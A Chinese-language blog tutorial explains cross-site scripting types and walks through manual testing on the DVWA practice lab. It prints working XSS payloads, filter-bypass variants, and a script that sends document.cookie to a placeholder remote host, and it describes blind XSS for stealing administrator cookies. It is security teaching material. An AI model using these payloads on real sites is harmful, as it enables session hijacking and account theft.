【网络安全的神秘世界】XSS基本概念和原理介绍

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、基本概念

恶意攻击者往web页面插入恶意代码脚本(JS代码),当用户浏览该页面时,嵌入web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS漏洞利用条件:能插入,能执行

二、XSS分类

2.1 反射型

也叫非持久型,常见的就是在url中构造,将恶意链接发送给目标用户。当用户访问链接的时候,会向服务器GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型

先输入恶意代码,造成弹窗说明攻击成功了

但是去了其他页面后再回来,攻击就没有了

像刚才的攻击流程,攻击一次立马失效,这就叫非持久型

2.2 存储型

也叫持久型,常见的就是在博客留言版、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端,每次访问都会触发恶意代码

输入恶意代码,造成攻击

发现恶意代码被浏览器保存到页面了,访问其他网页再回来,仍会造成攻击,这就叫持久型

--------为什么写出来的恶意代码看不到?

因为js代码被浏览的解析引擎解析掉了,所以看到的是个空值

2.3 DOM型

属于反射型XSS,在网页的标签中写入js代码

三、手工测试

漏洞练习靶场:dvwa

3.1 反射性XSS

LOW低级

img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件

复制代码
<img src=## onerror=alert(document.cookie)>

a标签支持onmouseover事件,需要鼠标移动到a标签的位置才能触发

复制代码
<a onmouseover=alert(document.cookie)>请点击</a>

a标签可以用来钓鱼或者暗链

Medium中级

输入,发现不能出现弹窗

查看dvwa源代码,发现对<script></script>进行了过滤,替换为空格

有很多绕过方式,可以尝试一下大小写混淆或双写绕过,或者也可以使用其他标签

复制代码
大小写混淆:<ScRipt>alert(1)</script>
双写绕过:<sc<script>ript>alert(1)</script>
其他标签:<img src=x onerror=alert(1)>
High高级

通过正则表达式进行过滤<script>,可以换个标签进行绕过

把正则表达式复制粘贴到这个网站上,测试匹配结果:正则表达式在线测试

根据网页设置的正则表达式要勾选上-i

DOM XSS

通过自己声明的img标签反弹cookie

复制代码
<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

发送cookie到远程服务器

复制代码
<script>
 img=document.createElement("img");img.src="http://xxx/a?"+escape(document.cookie);
</script>

+:连字符,表示拼接

escape:在Java中表示一个编码,会对括号里的内容进行编码

无论访问成功与否都不重要,重要的是在http://xxx/a中会留下访问日志,攻击者就能获得cookie值

3.2 存储型XSS

LOW低级

直接输入测试代码<script>alert(1)</script>点击提交

Medium中级

输入测试代码<script>alert(1)</script>,没有造成弹窗

尝试换成<img>标签,发现还是不行

没什么思路了,去看看源代码吧

发现name输入框更好绕过,我们在name输入测试代码

但是发现name输入框有长度限制

可以在包里面进行修改

也可以按F12键,把长度改大或删除

High高级

直接看代码吧

同理,还是选择简单的name输入框进行测试

四、盲打

输入的内容提交后并不知道去哪里了

像下图就是盲打的场景

普通用户看不到,但是管理员账户可以看到

我们可以构造恶意代码,观察远程服务器web日志,只要网站管理员访问,它的cookie值就被盗取

当管理员登录后台后,还没反应过来就被攻击了

相关推荐
遗憾随她而去.18 分钟前
前端大文件上传(切片并发/断点续传/秒传/WebWorker 计算Hash) 含完整代码
前端
AKA__老方丈1 小时前
vue-cropper图片裁剪、旋转、缩放、实时预览
前端·vue.js
梦6502 小时前
Vue 单页面应用 (SPA) 与 多页面应用 (MPA) 对比
前端·javascript·vue.js
清铎2 小时前
大模型训练_week3_day15_Llama概念_《穷途末路》
前端·javascript·人工智能·深度学习·自然语言处理·easyui
岛泪2 小时前
把 el-cascader 的 options 平铺为一维数组(只要叶子节点)
前端·javascript·vue.js
Kiyra3 小时前
阅读 Netty 源码关于 NioEventLoop 和 Channel 初始化部分的思考
运维·服务器·前端
冰暮流星3 小时前
javascript的switch语句介绍
java·前端·javascript
做科研的周师兄4 小时前
【MATLAB 实战】|多波段栅格数据提取部分波段均值——批量处理(NoData 修正 + 地理信息保真)_后附完整代码
前端·算法·机器学习·matlab·均值算法·分类·数据挖掘
da_vinci_x4 小时前
图标量产:从“手绘地狱”到“风格克隆”?Style Reference 的工业化实战
前端·游戏·ui·prompt·aigc·设计师·游戏美术
利刃大大4 小时前
【ES6】变量与常量 && 模板字符串 && 对象 && 解构赋值 && 箭头函数 && 数组 && 扩展运算符 && Promise/Await/Async
开发语言·前端·javascript·es6